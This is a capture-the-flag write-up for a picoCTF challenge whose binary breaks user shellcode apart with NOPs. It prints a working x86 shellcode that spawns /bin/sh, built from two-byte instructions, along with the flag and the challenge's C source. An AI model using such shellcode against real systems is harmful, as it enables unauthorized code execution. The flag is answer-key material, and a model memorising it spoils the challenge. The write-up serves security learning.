The challenge seems to offer the possibility to execute arbitrary code, but like the title says there is some kind of filter.First I recover some data from the ELF:
FILE OUTPUT:
fun: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=325e35378982f451f374c7140c5249bb1c52ab18, not stripped
CHECKSEC OUTPUT:
Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)    RWX:      Has RWX segments
Then I started the reversing phase using Ghidra to see the disassembled and decompiled version of the ELF.There are two interesting functions:
main
![main function](https://github.com/pwnthenope/pwnthenope.github.io/blob/main/static/post_images/filtered_shellcode_main.png?raw=true)
execute
![execute function](https://github.com/pwnthenope/pwnthenope.github.io/blob/main/static/post_images/filtered_shellcode_execute.png?raw=true)
The main receives from the user at most 1000 bytes, stopping when receiving a '\n' ("\x0a"), that it passes our input to the execute function which allocate a buffer on the heap with a size two times bigger than payload and fills the newly created buffer following a simple procedure: it takes two bytes from our input, than it puts two '\x90' (nop opcode), then two bytes from our input, and so on until it used all our "code". It then closes the buffer with a '\xc3' (ret opcode). Finally it puts the content of this buffer inside a memory area with execute permission and run the code inside it.
The program indeed execute the code that we give to it, but every instruction with a length greater than 2 will be divided with nops, becoming corrupted.We must build a shellcode with instructions divided in groups of two bytes, so the first thing is not use the mov instruction with immediate values because is at least 3 bytes long, replacing it with an intelligent use of push and pop.To open a shell, we can use the syscall to execle which needes: (don't forget that we have a 32-bit ELF)
eax = 0xb                              # EXECLE SYSCALL ID CODEebx = POINTER TO THE STRING "/bin/sh"  # THE INSTRUCTION TO BE EXECUTEDecx = 0edx = 0
For "eax" we can do:
 6a 4f   push 0xb 58      pop eax     # two groups of two bytes 90      nop
For "ecx" and "edx" we can do:
 31 c9   xor ecx,ecx 89 ca   mov edx,ecx
For "ebx" we have to realize a thing: our original buffer is still on the stack during the execution of our shellcode, so we can put the string "/bin/bash" in the end of the payload and find the offset from the esp (Stack Pointer).After some "try and error" I built the following payload:
0:  89 e3                   mov    ebx,esp2:  6a 60                   push   0x604:  59                      pop    ecx5:  90                      nop6:  01 cb                   add    ebx,ecx8:  6a 4f                   push   0x4fa:  59                      pop    ecxb:  90                      nopc:  01 cb                   add    ebx,ecxe:  6a 0b                   push   0xb10: 58                      pop    eax11: 90                      nop12: 31 c9                   xor    ecx,ecx14: 89 ca                   mov    edx,ecx16: cd 80                   int    0x80    /bin/sh\x00
Using a python script I interacted with the remote service and successfully opened a shell. From there a simple "cat flag.txt" was all we need to retrieve the flag:
picoCTF{th4t_w4s_fun_f1ed6f7952ff4071}
Side Note:
With the remote shell I was able to retrieve the original C code of the challenge:
```#include <stdio.h>#include <stdlib.h>#include <string.h>
#define MAX_LENGTH 1000
void execute(char *shellcode, size_t length) {    if (!shellcode || !length) {        exit(1);    }    size_t new_length = length * 2;    char result[new_length + 1];
    int spot = 0;    for (int i = 0; i < new_length; i++) {        if ((i % 4) < 2) {            result[i] = shellcode[spot++];        } else {            result[i] = '\x90';        }    }    // result[new_length] = '\xcc';    result[new_length] = '\xc3';
    // Execute code    int (*code)() = (int(*)())result;    code();}
int main(int argc, char *argv[]) {    setbuf(stdout, NULL);    char buf[MAX_LENGTH];    size_t length = 0;    char c = '\0';
    printf("Give me code to run:\n");    c = fgetc(stdin);    while ((c != '\n') && (length < MAX_LENGTH)) {        buf[length] = c;        c = fgetc(stdin);        length++;    }    if (length % 2) {        buf[length] = '\x90';        length++;    }    execute(buf, length);    return 0;}```